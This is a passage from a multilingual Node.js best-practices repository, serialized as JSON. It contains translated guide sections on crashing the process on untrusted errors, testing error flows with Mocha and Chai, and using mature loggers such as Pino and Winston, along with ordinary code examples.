of a crash. With a restarter in place, crashing is the fastest way to restore reliable service in the face of a transient programmer error…\n\n### Cytat z bloga: \"There are three schools of thoughts on error handling\"\n\nZ bloga: JS Recipes\n\n> …There are primarily three schools of thoughts on error handling:\n1. Let the application crash and restart it.\n2. Handle all possible errors and never crash.\n3. A balanced approach between the two\n\n### Cytat z bloga: \"No safe way to leave without creating some undefined brittle state\"\n\nZ oficjalnej dokumentacji Node.js\n\n> …By the very nature of how throw works in JavaScript, there is almost never any way to safely “pick up where you left off”, without leaking references, or creating some other sort of undefined brittle state. The safest way to respond to a thrown error is to shut down the process. Of course, in a normal web server, you might have many connections open, and it is not reasonable to abruptly shut those down because an error was triggered by someone else. The better approach is to send an error response to the request that triggered the error while letting the others finish in their normal time, and stop listening for new requests in that worker.\n"
  },
  {
    "path": "sections/errorhandling/shuttingtheprocess.russian.md",
    "content": "# Изящно выходите из процесса, когда неизвестное случается\r\n\r\n### Объяснение в один абзац\r\n\r\nГде-то в вашем коде объект-обработчик ошибок отвечает за принятие решения о том, как действовать при возникновении ошибки - если ошибка является доверенной (т.е. операционная ошибка, см. дальнейшее объяснение в этих практиках № 3), тогда записи в файл журнала может быть достаточно. Ситуация становится неясной, если ошибка незнакома - это означает, что какой-то компонент может быть в неисправном состоянии, и все будущие запросы могут быть сбойными. Например, если предположить, что единственная служба выдачи токенов с состоянием, которая вызвала исключение и потеряла свое состояние, отныне может вести себя неожиданно и вызывать сбой всех запросов. В этом сценарии завершите процесс и используйте \"инструмент перезапуска\" (например, Forever, PM2 и т.д.), Чтобы начать заново с чистым состоянием.\r\n\r\n### Пример кода: решение о сбое\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\n// Assuming developers mark known operational errors with error.isOperational=true, read best practice #3\r\nprocess.on('uncaughtException', (error) => {\r\n  errorManagement.handler.handleError(error);\r\n  if(!errorManagement.handler.isTrustedError(error))\r\n    process.exit(1)\r\n});\r\n\r\n// centralized error handler encapsulates error-handling related logic\r\nfunction errorHandler() {\r\n  this.handleError = (error) => {\r\n    return logger.logError(error)\r\n      .then(sendMailToAdminIfCritical)\r\n      .then(saveInOpsQueueIfCritical)\r\n      .then(determineIfOperationalError);\r\n  }\r\n\r\n  this.isTrustedError = (error) => {\r\n    return error.isOperational;\r\n  }\r\n}\r\n```\r\n</details>\r\n\r\n<details>\r\n<summary><strong>Typescript</strong></summary>\r\n\r\n```typescript\r\n// Assuming developers mark known operational errors with error.isOperational=true, read best practice #3\r\nprocess.on('uncaughtException', (error: Error) => {\r\n  errorManagement.handler.handleError(error);\r\n  if(!errorManagement.handler.isTrustedError(error))\r\n    process.exit(1)\r\n});\r\n\r\n// centralized error object that derives from Node’s Error\r\nexport class AppError extends Error {\r\n  public readonly isOperational: boolean;\r\n\r\n  constructor(description: string, isOperational: boolean) {\r\n    super(description);\r\n    Object.setPrototypeOf(this, new.target.prototype); // restore prototype chain\r\n    this.isOperational = isOperational;\r\n    Error.captureStackTrace(this);\r\n  }\r\n}\r\n\r\n// centralized error handler encapsulates error-handling related logic\r\nclass ErrorHandler {\r\n  public async handleError(err: Error): Promise<void> {\r\n    await logger.logError(err);\r\n    await sendMailToAdminIfCritical();\r\n    await saveInOpsQueueIfCritical();\r\n    await determineIfOperationalError();\r\n  };\r\n\r\n  public isTrustedError(error: Error) {\r\n    if (error instanceof AppError) {\r\n      return error.isOperational;\r\n    }\r\n    return false;\r\n  }\r\n}\r\n\r\nexport const handler = new ErrorHandler();\r\n```\r\n</details>\r\n\r\n### Цитата из блога: \"Лучший способ - это рухнуть\"\r\n\r\nИз блога Джойент\r\n\r\n> … Лучший способ исправить ошибки программиста - это сразу же аварийно завершить работу. Вы должны запустить свои программы, используя перезапуск, который автоматически перезапустит программу в случае сбоя. С перезапуском на месте сбой является самым быстрым способом восстановления надежного сервиса перед лицом временной ошибки программиста …\r\n\r\n### Цитата блога: \"Есть три школы мысли об обработке ошибок\"\r\n\r\nИз блога: JS Recipes\r\n\r\n> … Существует три основных направления работы с ошибками:\r\n1. Дайте приложению упасть и перезапустите его.\r\n2. Обрабатывайте все возможные ошибоки и никогда не роняйте.\r\n3. Сбалансированный подход между двумя предыдущими.\r\n\r\n### Цитата из блога: \"Нет безопасного способа уйти, не создав неопределенного хрупкого состояния\"\r\n\r\nИз официальной документации Node.js\r\n\r\n> … По самой природе того, как throw работает в JavaScript, почти никогда не существует способа безопасно \"выбрать то, на чем остановился\", без утечки ссылок или создания какого-либо другого неопределенного хрупкого состояния. Самый безопасный способ отреагировать на возникшую ошибку - завершить процесс. Конечно, на обычном веб-сервере у вас может быть открыто много подключений, и нет смысла внезапно закрывать их, потому что кто-то еще вызвал ошибку. Лучший подход - отправить ответ об ошибке на запрос, который вызвал ошибку, позволяя остальным завершить работу в обычное время, и прекратить прослушивание новых запросов этого работника.\r\n"
  },
  {
    "path": "sections/errorhandling/testingerrorflows.basque.md",
    "content": "# Testeatu erroreen fluxua zure test framework gustukoena erabiliz\r\n\r\n### Azalpena\r\n\r\nBide ‘alaiak’ probatzea ez da hutsegiteak probatzea baino hobea. Probako kodeen estaldura ona da salbuespenezko bideak probatzeko. Bestela, ez dago inolako konfidantzarik salbuespenak zuzen kudeatuta dauden. Unitateen azterketa esparru guztiek, [Mocha](https://mochajs.org/) eta [Chai](http://chaijs.com/)k bezala, onartzen dituzte salbuespen probak (kode adibideak beherago). Gogaikarria iruditzen bazaizu funtzio eta salbuespen bakoitza probatzea, REST APIen HTTP erroreak bakarrik probatzea erabaki zenezake\r\n\r\n\r\n### Kode adibidea: ziurtatu salbuespen egokia jaurtitzen dela Mocha eta Chai erabiliz\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\ndescribe(\"Facebooken txata\", () => {\r\n  it(\"Jakinarazi txateko mezu berria iristean\", () => {\r\n    const txatZerbitzua = new txatZerbitzua();\r\n    txatZerbitzua.parteHartzaileak = eskuratuDeskonektatutakoParteHartzaileak();\r\n    expect(txatZerbitzua.mezuaBidali.bind({ mezua: \"Aupa\" })).to.throw(\r\n      KonexioErrorea\r\n    );\r\n  });\r\n});\r\n```\r\n\r\n</details>\r\n\r\n<details>\r\n<summary><strong>Typescript</strong></summary>\r\n\r\n```typescript\r\ndescribe(\"Facebooken txata\", () => {\r\n  it(\"Jakinarazi txateko mezu berria iristean\", () => {\r\n    const txatZerbitzua = new txatZerbitzua();\r\n    txatZerbitzua.parteHartzaileak = eskuratuDeskonektatutakoParteHartzaileak();\r\n    expect(txatZerbitzua.mezuaBidali.bind({ mezua: \"Aupa\" })).to.throw(\r\n      KonexioErrorea\r\n    );\r\n  });\r\n});\r\n```\r\n\r\n</details>\r\n\r\n### Kodearen adibidea: APIak HTTP errore kode zuzena bueltatzen duela ziurtatu\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\nit(\"Facebookeko talde berria sortu\", () => {\r\n  const taldeOkerrarenInformazioa = {};\r\n  return httpRequest({\r\n    method: \"POST\",\r\n    uri: \"facebook.com/api/groups\",\r\n    resolveWithFullResponse: true,\r\n    body: taldeOkerrarenInformazioa,\r\n    json: true,\r\n  })\r\n    .then((response) => {\r\n      expect.fail(\r\n        \"kodea bloke honetan exekutatu nahi bagenu, goiko operazioan errorerik ez da izan\"\r\n      );\r\n    })\r\n    .catch((response) => {\r\n      expect(400).to.equal(response.statusCode);\r\n    });\r\n});\r\n```\r\n\r\n</details>\r\n\r\n<details>\r\n<summary><strong>Typescript</strong></summary>\r\n\r\n```typescript\r\nit(\"Facebookeko talde berria sortu\", async () => {\r\n  let taldeOkerrarenInformazioa = {};\r\n  try {\r\n    const response = await httpRequest({\r\n      method: \"POST\",\r\n      uri: \"facebook.com/api/groups\",\r\n      resolveWithFullResponse: true,\r\n      body: taldeOkerrarenInformazioa,\r\n      json: true,\r\n    });\r\n    // kodea bloke honetan exekutatu nahi bagenu, goiko operazioan errorerik ez da izan\r\n    expect.fail(\"Eskaerak huts egin behar izango luke\");\r\n  } catch (response) {\r\n    expect(400).to.equal(response.statusCode);\r\n  }\r\n});\r\n```\r\n\r\n</details>\r\n"
  },
  {
    "path": "sections/errorhandling/testingerrorflows.brazilian-portuguese.md",
    "content": "# Fluxos de testes de erros usando seu framework favorito\r\n\r\n### Explicação em um Parágrafo\r\n\r\nTestar caminhos \"felizes\" não é melhor do que testar falhas. Uma boa cobertura de código de teste exige testar caminhos excepcionais. Caso contrário, não há confiança de que as exceções sejam realmente tratadas corretamente. Cada estrutura de testes unitários, como o [Mocha](https://mochajs.org/) e [Chai](http://chaijs.com/), suporta testes de exceção (exemplos de código abaixo). Se você achar tedioso testar todas as funções internas e exceções, você pode resolver testando apenas erros HTTP da API REST.\r\n\r\n### Exemplo de código: garantindo que a exceção correta seja lançada usando Mocha & Chai\r\n\r\n```javascript\r\ndescribe(\"Bate-papo do Facebook\", () => {\r\n  it(\"Notifica em nova mensagem de bate-papo\", () => {\r\n    var chatService = new chatService();\r\n    chatService.participants = getDisconnectedParticipants();\r\n    expect(chatService.sendMessage.bind({ message: \"Oi\" })).to.throw(ConnectionError);\r\n  });\r\n});\r\n\r\n```\r\n\r\n### Exemplo de código: garantindo que a API retorne o código de erro HTTP correto\r\n\r\n```javascript\r\nit(\"Cria um novo grupo no Facebook\", function (done) {\r\n  var invalidGroupInfo = {};\r\n  httpRequest({\r\n    method: 'POST',\r\n    uri: \"facebook.com/api/groups\",\r\n    resolveWithFullResponse: true,\r\n    body: invalidGroupInfo,\r\n    json: true\r\n  }).then((response) => {\r\n    // se fôssemos executar o código neste bloco, nenhum erro foi lançado na operação acima\r\n  }).catch(function (response) {\r\n    expect(400).to.equal(response.statusCode);\r\n    done();\r\n  });\r\n});\r\n```\r\n"
  },
  {
    "path": "sections/errorhandling/testingerrorflows.chinese.md",
    "content": "# 使用您喜欢的测试框架测试错误流\r\n\r\n\r\n### 一段解释\r\n\r\n测试‘正确’路径并不比测试失败更好。良好的测试代码覆盖率要求测试异常路径。否则，异常确实被处理正确是不可信的。每个单元测试框架，如[Mocha](https://mochajs.org/) & [Chai](http://chaijs.com/)，都支持异常测试（请看下面的代码示例）。如果您觉得测试每个内部函数和异常都很乏味，那么您可以只测试REST API HTTP错误。\r\n\r\n\r\n\r\n### 代码示例: 使用 Mocha & Chai 确保正确的异常被抛出\r\n\r\n```javascript\r\ndescribe(\"Facebook chat\", () => {\r\n it(\"Notifies on new chat message\", () => {\r\n var chatService = new chatService();\r\n chatService.participants = getDisconnectedParticipants();\r\n expect(chatService.sendMessage.bind({message: \"Hi\"})).to.throw(ConnectionError);\r\n });\r\n});\r\n\r\n```\r\n\r\n### 代码示例: 确保 API 返回正确的 HTTP 错误码\r\n\r\n```javascript\r\nit(\"Creates new Facebook group\", function (done) {\r\n var invalidGroupInfo = {};\r\n httpRequest({method: 'POST', uri: \"facebook.com/api/groups\", resolveWithFullResponse: true, body: invalidGroupInfo, json: true\r\n }).then((response) => {\r\n //oh no if we reached here than no exception was thrown\r\n }).catch(function (response) {\r\n expect(400).to.equal(response.statusCode);\r\n done();\r\n });\r\n });\r\n\r\n```"
  },
  {
    "path": "sections/errorhandling/testingerrorflows.french.md",
    "content": "# Testez les flux d'erreurs en utilisant votre framework de test préféré\n\n### Un paragraphe d'explication\n\nTester les chemins « du bonheur » n’est pas mieux que de tester les échecs. Une bonne couverture du code de test exige de tester des chemins inhabituels. Sinon, il n'est pas certain que les exceptions soient effectivement gérées correctement. Chaque framework de tests unitaires, comme [Mocha](https://mochajs.org/) et [Chai](http://chaijs.com/), prend en charge les tests d'exception (exemples de code ci-dessous). Si vous trouvez fastidieux de tester chaque fonction interne et chaque exception, vous pouvez vous contenter de tester uniquement les erreurs HTTP de l'API REST.\n\n### Exemple de code : s'assurer que la bonne exception est levée à l'aide de Mocha & Chai\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\ndescribe('Facebook chat', () => {\n  it('Avertit en cas de nouveau message dans la discussion', () => {\n    const chatService = new chatService();\n    chatService.participants = getDisconnectedParticipants();\n    expect(chatService.sendMessage.bind({ message: 'Salut' })).to.throw(ConnectionError);\n  });\n});\n```\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\ndescribe('Facebook chat', () => {\n  it('Avertit en cas de nouveau message dans la discussion', () => {\n    const chatService = new chatService();\n    chatService.participants = getDisconnectedParticipants();\n    expect(chatService.sendMessage.bind({ message: 'Salut' })).to.throw(ConnectionError);\n  });\n});\n```\n</details>\n\n### Exemple de code: s'assurer que l'API renvoie le bon code erreur HTTP\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\nit('Crée un nouveau groupe Facebook', () => {\n  const invalidGroupInfo = {};\n  return httpRequest({\n    method: 'POST',\n    uri: 'facebook.com/api/groups',\n    resolveWithFullResponse: true,\n    body: invalidGroupInfo,\n    json: true\n  }).then((response) => {\n    expect.fail('si nous devions exécuter le code dans ce bloc, aucune erreur n\\'a été levée dans l\\'opération ci-dessus')\n  }).catch((response) => {\n    expect(400).to.equal(response.statusCode);\n  });\n});\n```\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\nit('Crée un nouveau groupe Facebook', async () => {\n  let invalidGroupInfo = {};\n  try {\n    const response = await httpRequest({\n      method: 'POST',\n      uri: 'facebook.com/api/groups',\n      resolveWithFullResponse: true,\n      body: invalidGroupInfo,\n      json: true\n    })\n    // si nous devions exécuter le code dans ce bloc, aucune erreur n'a été levée dans l'opération ci-dessus\n    expect.fail('La requête aurait dû échouer')\n  } catch(response) {\n    expect(400).to.equal(response.statusCode);\n  }\n});\n```\n</details>"
  },
  {
    "path": "sections/errorhandling/testingerrorflows.japanese.md",
    "content": "# お気に入りのテストフレームワークを使用してエラーフローをテストする\r\n\r\n### 一段落説明\r\n\r\n「ハッピー」パスをテストすることは、失敗をテストすることも同然です。良いテストコードカバレッジは、例外パスをテストすることを要求します。さもなければ、例外が実際に正しく処理されるという信用はありません。[Mocha](https://mochajs.org/) や [Chai](http://chaijs.com/) といったすべてのユニットテストフレームワークは、例外テストをサポートしています（下記のコード例参照）。もしすべての内部関数や例外をテストすることが面倒だと感じたら、REST API の HTTP エラーのみをテストすることに落ち着くかもしれません。\r\n\r\n### コード例: Mocha と Chai を利用して正しい例外が投げられることを確認する\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\ndescribe('Facebook chat', () => {\r\n  it('Notifies on new chat message', () => {\r\n    const chatService = new chatService();\r\n    chatService.participants = getDisconnectedParticipants();\r\n    expect(chatService.sendMessage.bind({ message: 'Hi' })).to.throw(ConnectionError);\r\n  });\r\n});\r\n```\r\n</details>\r\n\r\n<details>\r\n<summary><strong>Typescript</strong></summary>\r\n\r\n```typescript\r\ndescribe('Facebook chat', () => {\r\n  it('Notifies on new chat message', () => {\r\n    const chatService = new chatService();\r\n    chatService.participants = getDisconnectedParticipants();\r\n    expect(chatService.sendMessage.bind({ message: 'Hi' })).to.throw(ConnectionError);\r\n  });\r\n});\r\n```\r\n</details>\r\n\r\n### コード例: API が正しい HTTP エラーコードを返すことを確認する\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\nit('Creates new Facebook group', () => {\r\n  const invalidGroupInfo = {};\r\n  return httpRequest({\r\n    method: 'POST',\r\n    uri: 'facebook.com/api/groups',\r\n    resolveWithFullResponse: true,\r\n    body: invalidGroupInfo,\r\n    json: true\r\n  }).then((response) => {\r\n    expect.fail('if we were to execute the code in this block, no error was thrown in the operation above')\r\n  }).catch((response) => {\r\n    expect(400).to.equal(response.statusCode);\r\n  });\r\n});\r\n```\r\n</details>\r\n\r\n<details>\r\n<summary><strong>Typescript</strong></summary>\r\n\r\n```typescript\r\nit('Creates new Facebook group', async () => {\r\n  let invalidGroupInfo = {};\r\n  try {\r\n    const response = await httpRequest({\r\n      method: 'POST',\r\n      uri: 'facebook.com/api/groups',\r\n      resolveWithFullResponse: true,\r\n      body: invalidGroupInfo,\r\n      json: true\r\n    })\r\n    // このブロックで下記コードを実行した場合、上記オペレーションではエラーが発生しなかったことを意味します\r\n    expect.fail('The request should have failed')\r\n  } catch(response) {\r\n    expect(400).to.equal(response.statusCode);\r\n  }\r\n});\r\n```\r\n</details>"
  },
  {
    "path": "sections/errorhandling/testingerrorflows.korean.md",
    "content": "# Test error flows using your favorite test framework\r\n\r\n### One Paragraph Explainer\r\n\r\nTesting ‘happy’ paths is no better than testing failures. Good testing code coverage demands to test exceptional paths. Otherwise, there is no trust that exceptions are indeed handled correctly. Every unit testing framework, like [Mocha](https://mochajs.org/) & [Chai](http://chaijs.com/), supports exception testing (code examples below). If you find it tedious to test every inner function and exception you may settle with testing only REST API HTTP errors.\r\n\r\n### Code example: ensuring the right exception is thrown using Mocha & Chai\r\n\r\n```javascript\r\ndescribe(\"Facebook chat\", () => {\r\n  it(\"Notifies on new chat message\", () => {\r\n    var chatService = new chatService();\r\n    chatService.participants = getDisconnectedParticipants();\r\n    expect(chatService.sendMessage.bind({ message: \"Hi\" })).to.throw(ConnectionError);\r\n  });\r\n});\r\n\r\n```\r\n\r\n### Code example: ensuring API returns the right HTTP error code\r\n\r\n```javascript\r\nit(\"Creates new Facebook group\", function (done) {\r\n  var invalidGroupInfo = {};\r\n  httpRequest({\r\n    method: 'POST',\r\n    uri: \"facebook.com/api/groups\",\r\n    resolveWithFullResponse: true,\r\n    body: invalidGroupInfo,\r\n    json: true\r\n  }).then((response) => {\r\n    // if we were to execute the code in this block, no error was thrown in the operation above\r\n  }).catch(function (response) {\r\n    expect(400).to.equal(response.statusCode);\r\n    done();\r\n  });\r\n});\r\n```\r\n"
  },
  {
    "path": "sections/errorhandling/testingerrorflows.md",
    "content": "# Test error flows using your favorite test framework\r\n\r\n### One Paragraph Explainer\r\n\r\nTesting ‘happy’ paths is no better than testing failures. Good testing code coverage demands to test exceptional paths. Otherwise, there is no trust that exceptions are indeed handled correctly. Every unit testing framework, like [Mocha](https://mochajs.org/) & [Chai](http://chaijs.com/), supports exception testing (code examples below). If you find it tedious to test every inner function and exception you may settle with testing only REST API HTTP errors.\r\n\r\n### Code example: ensuring the right exception is thrown using Mocha & Chai\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\ndescribe(\"Facebook chat\", () => {\r\n  it(\"Notifies on new chat message\", () => {\r\n    const chatService = new chatService();\r\n    chatService.participants = getDisconnectedParticipants();\r\n    expect(chatService.sendMessage.bind({ message: \"Hi\" })).to.throw(ConnectionError);\r\n  });\r\n});\r\n```\r\n\r\n</details>\r\n\r\n### Code example: ensuring API returns the right HTTP error code and log properly\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\ntest(\"When exception is throw during request, Then logger reports the mandatory fields\", async () => {\r\n  //Arrange\r\n  const orderToAdd = {\r\n    userId: 1,\r\n    productId: 2,\r\n  };\r\n\r\n  sinon\r\n    .stub(OrderRepository.prototype, \"addOrder\")\r\n    .rejects(new AppError(\"saving-failed\", \"Order could not be saved\", 500));\r\n  const loggerDouble = sinon.stub(logger, \"error\");\r\n\r\n  //Act\r\n  const receivedResponse = await axiosAPIClient.post(\"/order\", orderToAdd);\r\n\r\n  //Assert\r\n  expect(receivedResponse.status).toBe(500);\r\n  expect(loggerDouble.lastCall.firstArg).toMatchObject({\r\n    name: \"saving-failed\",\r\n    status: 500,\r\n    stack: expect.any(String),\r\n    message: expect.any(String),\r\n  });\r\n});\r\n```\r\n\r\n</details>\r\n\r\n### Code example: ensuring that are uncaught exceptions are handled as well\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\ntest(\"When unhandled exception is throw, Then the logger reports correctly\", async () => {\r\n  //Arrange\r\n  await api.startWebServer();\r\n  const loggerDouble = sinon.stub(logger, \"error\");\r\n  const errorToThrow = new Error(\"An error that wont be caught 😳\");\r\n\r\n  //Act\r\n  process.emit(\"uncaughtException\", errorToThrow);\r\n\r\n  // Assert\r\n  expect(loggerDouble.calledWith(errorToThrow));\r\n});\r\n```\r\n\r\n</details>\r\n"
  },
  {
    "path": "sections/errorhandling/testingerrorflows.polish.md",
    "content": "# Przepływy błędów testowych przy użyciu ulubionego środowiska testowego\n\n### Wyjaśnienie jednym akapitem\n\nTestowanie „szczęśliwych” ścieżek nie jest lepsze niż testowanie błędów. Dobry zasięg kodu testowego wymaga testowania wyjątkowych ścieżek. W przeciwnym razie nie ma zaufania, że wyjątki rzeczywiście są obsługiwane poprawnie. Każda platforma testowania jednostek, jak [Mocha](https://mochajs.org/) i [Chai](http://chaijs.com/), obsługuje testowanie wyjątków (przykłady kodu poniżej). Jeśli okaże się, że testowanie każdej funkcji wewnętrznej i wyjątku jest uciążliwe, możesz zadowolić się testowaniem tylko błędów HTTP interfejsu REST API.\n\n### Przykład kodu: upewnienie się, że odpowiedni wyjątek jest zgłaszany za pomocą Mocha i Chai\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\ndescribe('Facebook chat', () => {\n  it('Notifies on new chat message', () => {\n    const chatService = new chatService();\n    chatService.participants = getDisconnectedParticipants();\n    expect(chatService.sendMessage.bind({ message: 'Hi' })).to.throw(ConnectionError);\n  });\n});\n```\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\ndescribe('Facebook chat', () => {\n  it('Notifies on new chat message', () => {\n    const chatService = new chatService();\n    chatService.participants = getDisconnectedParticipants();\n    expect(chatService.sendMessage.bind({ message: 'Hi' })).to.throw(ConnectionError);\n  });\n});\n```\n</details>\n\n### Przykład kodu: upewnienie się, że API zwraca prawidłowy kod błędu HTTP\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\nit('Creates new Facebook group', () => {\n  const invalidGroupInfo = {};\n  return httpRequest({\n    method: 'POST',\n    uri: 'facebook.com/api/groups',\n    resolveWithFullResponse: true,\n    body: invalidGroupInfo,\n    json: true\n  }).then((response) => {\n    expect.fail('if we were to execute the code in this block, no error was thrown in the operation above')\n  }).catch((response) => {\n    expect(400).to.equal(response.statusCode);\n  });\n});\n```\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\nit('Creates new Facebook group', async () => {\n  let invalidGroupInfo = {};\n  try {\n    const response = await httpRequest({\n      method: 'POST',\n      uri: 'facebook.com/api/groups',\n      resolveWithFullResponse: true,\n      body: invalidGroupInfo,\n      json: true\n    })\n    // if we were to execute the code in this block, no error was thrown in the operation above\n    expect.fail('The request should have failed')\n  } catch(response) {\n    expect(400).to.equal(response.statusCode);\n  }\n});\n```\n</details>\n"
  },
  {
    "path": "sections/errorhandling/testingerrorflows.russian.md",
    "content": "# Тестируйте потоки ошибок с использованием вашей любимой тестовой среды\r\n\r\n### Объяснение в один абзац\r\n\r\nТестирование \"счастливых\" путей не лучше, чем тестирование неудач. Хорошее тестирование покрытия кода требует тестирования исключительных путей. В противном случае, нет уверенности, что исключения действительно обрабатываются правильно. Каждая инфраструктура модульного тестирования, например [Mocha](https://mochajs.org/) и [Chai](http://chaijs.com/), поддерживает тестирование исключений (примеры кода ниже). Если вам кажется утомительным тестировать каждую внутреннюю функцию и исключение, вы можете согласиться с тестированием только ошибок HTTP REST API.\r\n\r\n### Пример кода: обеспечение правильного исключения с помощью Mocha & Chai\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\ndescribe('Facebook chat', () => {\r\n  it('Notifies on new chat message', () => {\r\n    const chatService = new chatService();\r\n    chatService.participants = getDisconnectedParticipants();\r\n    expect(chatService.sendMessage.bind({ message: 'Hi' })).to.throw(ConnectionError);\r\n  });\r\n});\r\n```\r\n</details>\r\n\r\n<details>\r\n<summary><strong>Typescript</strong></summary>\r\n\r\n```typescript\r\ndescribe('Facebook chat', () => {\r\n  it('Notifies on new chat message', () => {\r\n    const chatService = new chatService();\r\n    chatService.participants = getDisconnectedParticipants();\r\n    expect(chatService.sendMessage.bind({ message: 'Hi' })).to.throw(ConnectionError);\r\n  });\r\n});\r\n```\r\n</details>\r\n\r\n### Пример кода: застрахованное API возвращает правильный код ошибки HTTP\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\nit('Creates new Facebook group', () => {\r\n  const invalidGroupInfo = {};\r\n  return httpRequest({\r\n    method: 'POST',\r\n    uri: 'facebook.com/api/groups',\r\n    resolveWithFullResponse: true,\r\n    body: invalidGroupInfo,\r\n    json: true\r\n  }).then((response) => {\r\n    expect.fail('if we were to execute the code in this block, no error was thrown in the operation above')\r\n  }).catch((response) => {\r\n    expect(400).to.equal(response.statusCode);\r\n  });\r\n});\r\n```\r\n</details>\r\n\r\n<details>\r\n<summary><strong>Typescript</strong></summary>\r\n\r\n```typescript\r\nit('Creates new Facebook group', async () => {\r\n  let invalidGroupInfo = {};\r\n  try {\r\n    const response = await httpRequest({\r\n      method: 'POST',\r\n      uri: 'facebook.com/api/groups',\r\n      resolveWithFullResponse: true,\r\n      body: invalidGroupInfo,\r\n      json: true\r\n    })\r\n    // if we were to execute the code in this block, no error was thrown in the operation above\r\n    expect.fail('The request should have failed')\r\n  } catch(response) {\r\n    expect(400).to.equal(response.statusCode);\r\n  }\r\n});\r\n```\r\n</details>"
  },
  {
    "path": "sections/errorhandling/usematurelogger.basque.md",
    "content": "# Erabili erregistratze tresna heldu bat erroreen ikusgaitasuna handitzeko\r\n\r\n### Azalpena\r\n\r\nGustuko dugu console.log, baina [Pino][pino] bezalako erregistratzaile tresna ospetsu eta iraunkorra (errendimenduan zentratutako aukera berriagoa) ezinbestekoa da proiektu serioetarako. Errendimendu handiko erregistratze tresnek erroreak eta arazo posibleak identifikatzen laguntzen dute. Erregistratze aholkuen artean:\r\n\r\n1. Maiz erregistratu maila ezberdinak erabiliz (debug, info, error)\r\n2. Erregistratzerako orduan, eman testuinguruaren informazioa JSON objektu eran\r\n3. Monitorizatu erregistro kontsultak API batekin (erregistro sistema ezberdinetarako erabilgarria) edota erregistro ikustailearen software batekin\r\n4. Erakutsi erregistroen informazioa [Splunk][splunk] bezalako operazio inteligentzia tresnekin\r\n\r\n[pino]: https://www.npmjs.com/package/pino\r\n[splunk]: https://www.splunk.com/\r\n\r\n### Kode adibidea\r\n\r\n```JavaScript\r\nconst pino = require('pino');\r\n\r\n// zure erregistro objektu zentralizatua\r\nconst erregistratzailea = pino();\r\n\r\n// erregistratzailea erabiltzen duen zure kode propioa\r\nerregistratzailea.info({ anything: 'Hau metadatua da' }, 'Frogatu Erregistro Mezua %s parametroren batekin', 'parametroren bat');\r\n```\r\n\r\n### Blog aipua: \"Erregistratzailearen betebeharrak\"\r\n\r\nStrongLoop bloga (\"Winston eta Bunyanen Node.js Erregistratzaile sistemak konparatzen\" Alex Corbatcheven eskutik, 2014ko ekainaren 24a):\r\n\r\n> Identifika ditzagun betebehar gutxi batzuk (erregistratzaile batentzat):\r\n>\r\n> 1. Denboran seilatu erregistro ilara bakoitza. Nahiko argi dago, erregistroko sarrera bakoitza noiz gertatu den esateko gai izan behar duzu\r\n> 2. Erregistro formatua ulergarria izan behar da bai gizakientzat eta baita makinentzat ere\r\n> 3. Korronte ezberdin ugari onartu behar ditu. Adibidez, errore erregistroak fitxategi batean idazten ari den unean erroreren bat atzemanez gero, fitxategi beraren barruan idatzi, errorearen fitxategian ere idatzi, eta posta elektronikoa bidali, dena aldi berean, egiteko aukera eman behar du\r\n\r\n### Non dago Winston?\r\n\r\nZergatik ohiko faboritoak (adibidez, Winston) ez dauden aholkatutako pratika onenen egungo zerrendan jakiteko, begiratu # [#684][#684]an\r\n\r\n[#684]: https://github.com/goldbergyoni/nodebestpractices/issues/684\r\n"
  },
  {
    "path": "sections/errorhandling/usematurelogger.brazilian-portuguese.md",
    "content": "# Use um agente de log maduro para aumentar a visibilidade de erros\r\n\r\n### Explicação em um Parágrafo\r\n\r\nTodos nós amamos console.log, mas obviamente, um logger respeitável e persistente como [Winston][winston] (altamente popular) ou [pino][pino] (o novato que está focado no desempenho) é obrigatório para projetos sérios. Um conjunto de práticas e ferramentas ajudará a entender os erros muito mais rapidamente - (1) logar freqüentemente usando diferentes níveis (depuração, informação, erro), (2) ao registrar, fornecer informações contextuais como objetos JSON, ver exemplo abaixo, (3) observe e filtre os logs usando uma API de consulta de log (incorporada na maioria dos registradores) ou um software de visualização de logs, (4) Expor e selecionar a declaração de log para a equipe de operação usando ferramentas de inteligência operacional como o Splunk.\r\n\r\n[winston]: https://www.npmjs.com/package/winston\r\n[bunyan]: https://www.npmjs.com/package/bunyan\r\n[pino]: https://www.npmjs.com/package/pino\r\n\r\n### Exemplo de Código – Registrador Winston em ação\r\n\r\n```javascript\r\n// seu objeto registrador centralizado\r\nvar logger = new winston.Logger({\r\n  level: 'info',\r\n  transports: [\r\n    new (winston.transports.Console)()\r\n  ]\r\n});\r\n\r\n// código personalizado em algum lugar usando o registrador\r\nlogger.log('info', 'Mensagem de Log de Teste com algum parâmetro %s', 'algum parâmetro', { anything: 'Este é um metadado' });\r\n\r\n```\r\n\r\n### Exemplo de código - Consultando a pasta de log (procurando por entradas)\r\n\r\n```javascript\r\nvar options = {\r\n  from: new Date - 24 * 60 * 60 * 1000,\r\n  until: new Date,\r\n  limit: 10,\r\n  start: 0,\r\n  order: 'desc',\r\n  fields: ['message']\r\n};\r\n\r\n\r\n// Encontrar itens registrados entre hoje e ontem.\r\nwinston.query(options, function (err, results) {\r\n  // executar callback com os resultados\r\n});\r\n```\r\n\r\n### Citação de Blog: \"Requisitos do Registrador\"\r\n\r\n Do blog Strong Loop\r\n\r\n> 